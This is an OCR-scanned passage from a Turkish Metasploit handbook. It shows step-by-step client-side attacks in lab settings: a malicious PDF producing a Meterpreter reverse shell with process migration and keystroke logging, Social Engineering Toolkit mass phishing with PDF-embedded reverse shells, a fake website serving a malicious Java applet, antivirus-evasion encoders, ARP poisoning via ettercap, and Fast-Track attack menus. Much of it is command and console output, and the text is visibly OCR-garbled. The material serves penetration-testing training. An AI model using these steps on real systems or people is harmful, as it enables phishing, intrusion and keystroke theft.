Scripteki segenekler su sekildedir; FROM (—)f ile, TO (-t) ile, SMTP (-s) ile, Konu (-u) ve zararli eklenti (-a) ile
segilir. Mesaj yazildiktan sonra CTRLAD ile mesaj génderilir.

Asagida antiviriis taramasindan gegirilmis durum goéziikmektedir.

2]
@: Finished

— Scanning Information
Started: Manually 9/12/2009 3:51:00 P
Ended: 9/12/2009 9:51:00 PM
Objects scanned: 2
Ermrors: 0
Display Test configuration
— Virus statistics
No threats found.

@ Display Resut

PDF dosyast agildiginda, handler gelecek olan baglantilar1 denetler.

Handler binding to LHOST 0.0.0.0

Started reverse handler

Starting the payload handler...

Sending stage (718336 bytes)

sion[*] Meterpreter session 1 opened (192.168.8.128:4455 -> 192.168.8.130:49322)

[

meterpreter >
Kars1 bilgisayar iizerinde bir shell elde edildi. Adobe kapatilsa bile shell agik kalacaktir.

meterpreter > ps

Process list

PID Name Path

852 taskeng.exe C:\Windows\system32\taskeng.exe

1308 Dwm.exe C:\Windows\system32\Dwn.exe

1520 explorer.exe C:\Windows\explorer.exe

2184 VMwareTray.exe C:\Program Files\VMware\VMware Tools\VMwareTray.exe
2196 VMwareUser.exe C:\Program FilesVMware\VMware Tools\VMwareUser.exe
3176 iexplore.exe C:\Program Files\Internet Explorer\iexplore.exe
3452 AcroRd32.exe C:\Program Files\AdobeReader 8.0\ReaderAcroRd32.exe

meterpreter > migrate 1520
[*] Migrating to 1520...
[*] Migration completed successfully.
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meterpreter > sysinfo
Computer: OFFSEC-PC
oS : Windows Vista (Build 6000, ).

meterpreter > use priv
Loading extension priv...success.

meterpreter > keyscan start
Starting the keystroke sniffer...

meterpreter > keyscan dump
Dumping captured keystrokes...

Support, I tried to open ti his file 2-3 times with no success. I even had my admin and CFO
tru y it, but no one can get it to p open. I turned on the rmote access server so you can
log in to fix our p this problem. Our user name is admin and password for that
session is 123456. Call or eme ail when you are done. Thanks IT Dept

meterpreter >

Sosyal Miihendislik Araglar:

MSF ile uyumlu olan ve kullanilabilir olan sosyal miihendislik araglarmi asagidaki komut vasitasiyla
indirilebilir.

svn co http://svn.thepentest.com/social engineering toolkit/ SET/

Bu program herhangi bir python modiiliine ihtiyag duymadan caligmaktadir. Sadece ¢alistirmak yeterlidir.

root@bt4:/home/relik# cd SET/
root@ssdavebt4:/home/relik/SET# ./set

[-—-1 The Social Engineering Toolkit (SET) [-—-1]
[---] Written by David Kennedy (ReLlK) [-—-1]
[---1 Version: 0.1 Alpha [---1]

Welcome to the Social Engineering Toolkit, your one-stop shop
for all of your social engineering needs.

Select from the menu on what you would like to do:

Automatic E-Mail Attacks
Website Attacks

Update the Metasploit Framework
Help

Exit the Toolkit

[S OV \ Ol

Enter your choice:
Senaryo 1

Bir organizasyon hedef alinmis ve bilgiler toplanmistir. Bulunan mail adreslerine mail géndererek olusturulan
eklentileri ¢calistirmalar1 beklenmektedir.

Oncelikle mail listesi asagidaki gibi hazirlanmalidur.

bob@example.com
joelexample.com
jane@example.com
josh@example.com

Liste olusturulduktan sonra uygulama ¢aligtirilmalidir. Daha sonra bir payload yiliklenmeli ve baglanti igin
beklenmelidir.
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root@bt4:/home/relik/SET# ./set

[---1 The Social Engineering Toolkit (SET) [-—-]
[---] Written by David Kennedy (ReLlK) [---]
[---] Version: 0.1 Alpha [-—-]

Welcome to the Social Engineering Toolkit, your one-stop shop
for all of your social engineering needs.

Select from the menu on what you would like to do:

1. Automatic E-Mail Attacks

2. Website Attacks

3. Update the Metasploit Framework
4. Help

5. Exit the Toolkit

Enter your choice: 1

The Social Engineering Toolkit (SET) [---]
Written by David Kennedy (ReLlK) [-—-]
Version: 0.1 Alpha [-—-1]

E-Mail Attacks Menu [-—-]

---1
---]
---]
---]

This menu will automate file-format email attacks for you. You will
first have to create your own payload, you can easily do this by using
the "Create a FileFormat Payload", then from there launch the mass
e-mail attack.

1. Perform a Mass Email Attack
2. Create a Social-Engineering Payload
3. Return to Main Menu.

Enter your choice: 1
Do you want to create a social-engineering payload now yes or no: yes

Select the file format exploit you want.

The default is the PDF embedded EXE.
FAKkk METASPLOIT PAYLOADS ***x*xx

1. Adobe Collab.collectEmailInfo Buffer Overflow
2. Adobe Collab.getIcon Buffer Overflow

3. Adobe JBIG2Decode Memory Corruption Exploit
4. Adobe PDF Embedded EXE Social Engineering

5. Adobe util.printf () Buffer Overflow

6. Custom EXE to VBA (sent via RAR)

Enter the number you want (press enter for default): 4

You have selected the default payload creation. SET will generate a normal PDF with embedded
EXE.

Windows Reverse TCP Shell

Windows Meterpreter Reverse Shell
Windows Reverse VNC

Windows Reverse TCP Shell (x64)

DS w N

Enter the payload you want: 1

Enter the IP address you want the payload to connect back to you on: 10.211.55.130
Enter the port you want to connect back on: 4444
Generating fileformat exploit...

[*] Please wait while we load the module tree...

*] Handler binding to LHOST 0.0.0.0

*] Started reverse handler

*] Reading in 'src/msf attacks/form.pdf'...

*] Parseing 'src/msf attacks/form.pdf'...

*] Parseing Successfull.

*] Using 'windows/shell reverse tcp' as payload...
*] Creating 'template.pdf' file...
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[*] Generated output file /home/relik/SET/src/program junk/template.pdf

Payload creation complete. All payloads get sent to the src/msf attacks/template.pdf
directory

Press enter to return to the prior menu.
As an added bonus, use the file-format creator in SET to create your attachment.

[-] A previous created PDF attack by SET was detected..Do you want to use the PDF as a
payload? [-]

Enter your answer yes oOr no: yes
Social Engineering Toolkit Mass E-Mailer

There are two options on the mass e-mailer, the first would

be to send an email to one indivdual person. The second option
will allow you to import a list and send it to as many people as
you want within that list.

What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer
3. Return to main menu.

Enter your choice: 2
Which template do you want to use?

1. Strange and Suspicious Computer Behavior
2. Email to SysAdmins, can't open PDF

3. Please Open up this Status Report

4. Enter your own message

Enter your choice: 3

The mass emailer will allow you to send emails to multiple
individuals in a list. The format is simple, it will email
based off of a line. So it should look like the following:

john.doe@ihazemail.com
jane.doe@ihazemail.com
wayne.doe@ihazemail.com

This will continue through until it reaches the end of the

file. You will need to specify where the file is, for example

if its in the SET folder, just specify filename.txt (or whatever
it is). If its somewhere on the filesystem, enter the full path,
for example /home/relik/ihazemails.txt

Enter the path to the file to import into SET: email.txt

Enter your GMAIL email address: relik@gmail.com

Enter your password for gmail (it will not be displayed back to you):
Sent e-mail number: 1

Sent e-mail number: 2

Sent e-mail number: 3

Sent e-mail number: 4

SET has finished deliverying the emails. Do you want to setup a listener yes or no: yes
Please wait while we load the module tree...

Handler binding to LHOST 0.0.0.0

Started reverse handler

Starting the payload handler...

* % ok

Emailler gonderildi ve kurbanin PDF i ¢alistirmasi beklenmektedir.
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Subject: Status Report

¥ Attachments:

[¥ template.pdf L3 25.45 KB __Open

Save

(_Remove. _

Greetings,
Please view the latest status report.
Thanks,

Rich

Kurban PDF i agarsa asagidaki goriintiiyle karsilagir.

i trmplatepdl - Adobe Reader
GBS il e 32 i e e
ad. *{;_, |'|—;| e Ly - -~ u:l s -

This page is intentionally blank.

BT4 sistemi dinlemede beklemektedir.

*] Please wait while we load the module tree...
*] Handler binding to LHOST 0.0.0.0

*] Started reverse handler

*] Starting the payload handler...

*

[
[
[
[
[*] Command shell session 1 opened (10.211.55.130:4444 -> 10.211.55.140:1079)

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

Email gondermenin disindaki diger bir segenek ise sahte bir web sitesi yaparak, daha 6nce kullanilan java
uyglamasi ile kullaniciya sitenin giivenilir oldugunu gostermek ve erisim elde etmektir. Bagka bir segenek
olarakta, eger ayni network iizerinde bulunuluyorsa ARP zehirlemesi yapilabilir. Asagida ARP zehirlemesine
iliskin senaryo 6rnegi bulunmaktadir.

root@btd:/home/relik/SET# ./set

[---1 The Social Engineering Toolkit (SET) [---1
[---] Written by David Kennedy (ReLlK) [---1
[-—-1 Version: 0.1 Alpha [-—-1]

Welcome to the Social Engineering Toolkit, your one-stop shop
for all of your social engineering needs.

Select from the menu on what you would like to do:

1. Automatic E-Mail Attacks

Bilgi Giivenligi AKADEMIiSIjwww.bga.com.tr [Metasploit El Kitabi



Metasploit El Kitabi

2. Website Attacks

3. Update the Metasploit Framework
4. Help

5. Exit the Toolkit

Enter your choice: 2

The Social Engineering Toolkit "Web Attack" will create a
fake "professional" looking website for you with malicious
java applet code. When you entice a victim to the website
either through social-engineering, a XSS vulnerability,
E-Mail, or other options, it will prompt the user to say
"Yes" to run the applet signed by Microsoft. Once accepted
a payload will be run on the remote system and executed.

The payload itself will be generated dynamically through
Metasploit and the handler and everything be setup for you
automatically through the SEF Web Attack toolkit.

Do you wish to continue? y/n: y
What payload do you want to generate:

Name: Description:

1. Windows Shell Reverse TCP Spawn a command shell on victim and send back to
attacker.

2. Windows Reverse TCP Meterpreter Spawn a meterpreter shell on victim and send back
to attacker.

3. Windows Reverse TCP VNC DLL Spawn a VNC server on victim and send back to
attacker.

4. Windows Bind Shell Execute payload and create an accepting port on

remote system.

Enter choice (example 1-4): 2

Below is a list of encodings to try and bypass AV.

Select one of the below, Avoid UTF8 tolower usually gets past them.

avoid utf8 tolower
shikata ga nai
alpha mixed
alpha_upper

calld dword xor
countdown
fnstenv_mov
jmp_call additive
nonalpha

10. nonupper

11. unicode mixed
12. unicode_upper
13. alpha2

14. No Encoding

O Jo Ul WwWN

e}

Enter your choice : 2

Enter IP Address of the listener/attacker (reverse) or host/victim (bind shell): 10.211.55.130
Enter the port of the Listener: 4444

Created by msfpayload (http://www.metasploit.com).

Payload: windows/meterpreter/reverse tcp

Length: 274

Options: LHOST=10.211.55.130,LPORT=4444,ENCODING=shikata ga nai

Do you want to start a listener to receive the payload yes or no: yes

Launching Listener...
R I b b I S S S R I S I S S R I R I IE S I E I S I 2 S I I R I I S I I R I I S I I I I I I S I E I SE S S R I h I S I S I I b S I Ih I E S I 2

*

Launching MSFCONSOLE on 'exploit/multi/handler' with PAYLOAD='windows/meterpreter/reverse tcp'

Listening on IP: 10.211.55.130 on Local Port: 4444 Using encoding: ENCODING=shikata ga nai

B I R

*

Would you like to use ettercap to ARP poison a host yes or no: yes
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Ettercap allows you to ARP poison a specific host and when they browse
a site, force them to use oursite and launch a slew of
exploits from the Metasploit repository. ETTERCAP REQUIRED.

What IP Address do you want to poison: 10.211.55.140
Setting up the ettercap filters....
Filter created...
Compiling Ettercap filter...
etterfilter NG-0.7.3 copyright 2001-2004 ALoR & NaGA
12 protocol tables loaded:
DECODED DATA udp tcp gre icmp ip arp wifi fddi tr eth

11 constants loaded:
VRRP OSPF GRE UDP TCP ICMP6 ICMP PPTP PPPoE IP ARP

Parsing source file 'src/program junk/ettercap.filter' done.
Unfolding the meta-tree done.

Converting labels to real offsets done.

Writing output to 'src/program junk/ettercap.ef' done.

-> Script encoded into 16 instructions.

Filter compiled...Running Ettercap and poisoning target...

R R R R R R R R R R R R R R R R R R R R R R R R R R R I

Web Server Launched. Welcome to the SEF Web Attack.
Ak hkhkhkhkhkhkhkhkhkhkhkhkhkhkhkkhkhkhkhkhkhkhkhkhkkhkhkhkhkhkhkhkkhkhkhkhkhkhkhkhkhkhhhkhxkhkxkx

[--] Tested on IE6, IE7, IE8 and FireFox [--]

Type -c to exit..

Kurbanin web tarayicisina bakilmak istenirse:
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Levogle - Windsws Inl prowet Explorer
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' r sy
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Eger asagida soldaki adrese bakilirsa nereye gidildigi goriilecektir.:
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m’ J& tepjin0.ane 85,150 2 ICHES | )
L e Ui -

WS Mol Lt ] | =0 -
Iastructions:

1. A pop-up box will proenpt, please hit "Yes” This may take 2 few moments

1. This pop-up 1= sigaed through the Microsoft Carperation mnd will provide you with necessary updates.

3. Once vou have accepted, wak aboan 10 to 15 seconds. Then dose the browser m
Wartmg - Security 1_ \'

The application’s digital signature cannot be verified, 0

Do you want to run the application?

Feemr  Mip/l0201.55 130

™ vy b corkerk from e pubkeher ¢
Eha e
! :;l-;v;\'nhmd;;‘;:mm” iccinga ity

Giivenlik uyarismimn Microsoft tarafindan geldigi farkedilmelidir. Kullanic1 kabul ettikten sonra iglem
bagslayacaktir:

[*] Exploit running as background job.
msf exploit (handler) >

[*] Handler binding to LHOST 0.0.0.0
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[*] Started reverse handler

[*] Starting the payload handler...

[*] Sending stage (718336 bytes)

[*] Meterpreter session 1 opened (10.211.55.130:4444 -> 10.211.55.140:1129)

msf exploit (handler) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > execute -f cmd.exe -i
Process 2596 created.

Channel 1 created.

Microsoft Windows [Version 5.2.3790]

(C) Copyright 1985-2003 Microsoft Corp.

C:\Documents and Settings\Administrator\Desktop>

Fast-Track

Fast-Track MSF ye ait biitiin 6zellikler kendi biinyesinde barindiran ve python dili ile yazilmis olan bir
otomatiklestirilmis MSF olarak diisiiniilebilir. Sizma testlerinde oldukg¢a basarili olabilen bir uygulama olan Fast-
Track, kullanicilarina zaman kazandirir. Sadece olumlu sonug oldugunda size geri doniis verir.

Fast Track Modlari

Ug farkli modda kullamilabilir. Konsol, interaktif ve web arayiizii

Konsol uygulamasi /pentest/exploits/fasttrack dizini altinda ./fast-track.py —¢ komutu ile ¢aligmaktadir.

root@bt4:/pentest/exploits/fasttrack# ./fast-track.py -c

Fast-Track v4.0 - Where it's OK to finish in under 3 minutes...

Automated Penetration Testing
Written by David Kennedy (ReLlK)
SecureState
http://www.securestate.com
dkennedy@securestate.com

Wiki and Bug Track: http://www.thepentest.com

Please read the README and LICENSE before using
this tool for acceptable use and modifications.

Modes
Interactive Menu Driven Mode: -i
Command Line Mode: -c

Web GUI Mode -g

Examples: ./fast-track.py -i
./fast-track.py -c
./fast-track.py -g
./fast-track.py -g

Usage: ./fast-track.py

R R R R R R R R R

Fast-Track Command Line - Where it's OK to finish in under 3 minutes...
RS S S S S S S S S S S S SEEEEEEEES S SRR R R RS SR SRR R R R EEEEEEEEEEEEEEEEEEEEEEEEEEEE S

**x* MAKE SURE YOU INSTALL ALL THE DEPENDENCIES FIRST (setup.py) ****

Visit http://trac.thepentest.com for tutorials or to file a bug.
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Update Menu

Autopwn Automated
MS-SQL Injector

MS-SQL Bruter

Binary to Hex Payload Generator
Mass Client-Side Attack
Exploits

SQLPwnage

Payload Generator

10. Changelog

11. Credits

12. About

Usage: fast-track.py -c

Interactive mode can be launched by passing the '-i* switch to Fast Track.

W J oy Ul W

O

root@btd:/pentest/exploits/fasttrack# ./fast-track.py -1

ER R R R R kI I I I I I E I I I I E I I I E I I I E E I b

*xFxxx*k% performing dependency checks... ***xxkxx
R R R I I I I I I I I E I E E I E I I I I E I b

*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***

*** ClientForm is installed. (Check) ***

*** Psyco is installed. (Check) ***

*** Beautiful Soup is installed. (Check) ***

*** PyMills is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all requirements needed to run Fast-Track!
Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 minutes...
Version: v4.0

Written by: David Kennedy (ReLlK)
http://www.securestate.com

http://www.thepentest.com

Fast-Track Updates
Autopwn Automation
Microsoft SQL Tools
Mass Client-Side Attack
Exploits

Binary to Hex Payload Converter
Payload Generator
Fast-Track Tutorials
Fast-Track Changelog
Fast-Track Credits

Exit

P EOWOow-Jo U WN -

= o

Enter the number:

Gui mod ise './fast-track.py -g' komutu ile ¢aligmaktadir. Varsayilan olarak 44444 nolur porttan dinleme
yapilmaktadir. Ancak komut {izerinden degistirmek miimkiindiir.

root@bt4:/pentest/exploits/fasttrack# ./fast-track.py -g 31337
Fast-Track v4.0 - Where it's OK to finish in under 3 minutes...
Automated Penetration Testing

Written by David Kennedy (ReLlK)

SecureState

http://www.securestate.com

dkennedy@securestate.com

Wiki and Bug Track: http://www.thepentest.com

Please read the README and LICENSE before using
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this tool for acceptable use and modifications.

Modes:
Interactive Menu Driven Mode: -i
Command Line Mode: -c

Web GUI Mode -g

Examples: ./fast-track.py -i
./fast-track.py -c
./fast-track.py -g
./fast-track.py -g

Usage: ./fast-track.py

R R R R R Rk I I I I I I E I E E E I E E E E E E S h E Sk b E

*xFkxx*k%x performing dependency checks... ***xkxx
R R R R kI I I I I I I I E I R E I E I E I I I I

*** FreeTDS and PYMMSQL are installed. (Check) ***
*** PExpect is installed. (Check) ***

**%* ClientForm is installed. (Check) ***

*** Psyco is installed. (Check) ***

*** Beautiful Soup is installed. (Check) ***

*** PyMills is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all requirements needed to run Fast-Track!

R R R R R R R R R R R R R R R R R R R R R

Fast-Track Web GUI Front-End

Written by: David Kennedy (ReLlK)
R R R R R R R R R R R R R R R R R

Starting HTTP Server on 127.0.0.1 port 31337
*** Open a browser and go to http://127.0.0.1:31337 ***

Type -c to exit..
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@

Fast-Track

WHERE IT'S OK TO FINISH IN UNDER 3 MINUTES...

Main Page

Fast Track Giincellemeleri

Sizma testlerinde biiyiik bir kolaylik saglayan Fast-Track icerisinde bulunan Kismet vb gibi birgok uygulamanin
giincellemesi interaktif mod iizerinden yapilabilir. Belirli uygulamalar veya hersey giincellenebilir.

root@bt4:/pentest/exploits/fasttrack# -track.py -i

B R R R R T R

*xxxx*x% performing dependency checks... ****x*xx
khkhkkhkhkhkhkhkhkhkkhkhhkhhhkhhkhhkhkhkkhkhkhkhkhkhkhkhkhkhkhkkhkhkhkhkhkhkhkkhkhkkhxkx

*** FreeTDS and PYMMSQL are installed. (Check) ***
***x PExpect 1s installed. (Check) ***

*** ClientForm is installed. (Check) ***

**% Psyco is installed. (Check) ***

***x Beautiful Soup is installed. (Check) ***

**x PyMills is installed. (Check) ***

Also ensure ProFTP, WinEXE, and SQLite3 is installed from
the Updates/Installation menu.

Your system has all requirements needed to run Fast-Track!
Fast-Track Main Menu:

Fast-Track - Where it's OK to finish in under 3 minutes...
Version: v4.0

Written by: David Kennedy (ReLlK)
http://www.securestate.com

http://www.thepentest.com
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Fast-Track Updates
Autopwn Automation
Microsoft SQL Tools
Mass Client-Side Attack
Exploits

Binary to Hex Payload Converter
Payload Generator
Fast-Track Tutorials
Fast-Track Changelog
Fast-Track Credits

Exit

H P OO -Jo b W

= o .

Enter the number: 1
Fast-Track Updates
Enter a number to update

Update Fast-Track
Metasploit 3 Update
Aircrack-NG Update
Nikto Plugin Update
W3AF Update

SQLMap Update
Installation Menu
Update MilwOrm Exploits
Update Kismet-Newcore
. Update Everything

. Return to Main Menu

P OO0 -Jo 0o WN -

=

Enter number: 10

Note this DOES NOT install preregs, please go to the installation menu for that.

Updating Fast-Track, Metasploit, Aircrack-NG, Nikto, W3AF, MilwOrm, Kismet-NewCore and SQL
Map

**x* Update complete ***x*x*

Returning to main menu....

Fast-Track giincellendikge birgok yeniligi biinyesinde barindirmaya devam edecektir.

Fast-Track ile ilgili yapilanlar1 tekrar hatirlatmak gerekirse:

root@bt4:/pentest/exploits/fasttrack# ./fast-track.py -c 1 2
Fast-Track v4.0 - Where it's OK to finish in under 3 minutes...
Automated Penetration Testing

Written by David Kennedy (ReLlK)

SecureState

http://www.securestate.com

dkennedy@securestate.com

Wiki and Bug Track: http://www.thepentest.com

Please read the README and LICENSE before using
this tool for acceptable use and modifications.

Modes
Interactive Menu Driven Mode: -i
Command Line Mode: -c

Web GUI Mode -g

Examples: ./fast-track.py -i
./fast-track.py -c
./fast-track.py -g

Bilgi Giivenligi AKADEMIiSIjwww.bga.com.tr [Metasploit El Kitabi



Metasploit El Kitabi

./fast-track.py -g

Usage: ./fast-track.py

R IR Ik Ih kI I b b b h b b b h dh E b b b b b 2k b b bk 2k b b b b b b h b b b I b 2 2h b b h b b 2 I b b b i

Fast-Track Command Line - Where it's OK to finish in under 3 minutes...
Ak hkhkhkhkhkhkhkhkhkhhkhkhkhkhkkhkhkhkhkhkhkhkhkhkhhhkhkhkhkhkdhhkhkhhkhkdkhkhkhkhkhkhkhkhkdhhkhkhkhkhkhkhhkhkhkhkhkhhhhhhxkhxkx

**x% MAKE SURE YOU INSTALL ALL THE DEPENDENCIES FIRST (setup.py) ***x*
Visit http://trac.thepentest.com for tutorials or to file a bug.

Update Menu

Autopwn Automated
MS-SQL Injector

MS-SQL Bruter

Binary to Hex Payload Generator
Mass Client-Side Attack
Exploits

SQLPwnage

Payload Generator

10. Changelog

11. Credits

12. About

W Joy U WN

O

Usage: fast-track.py -c
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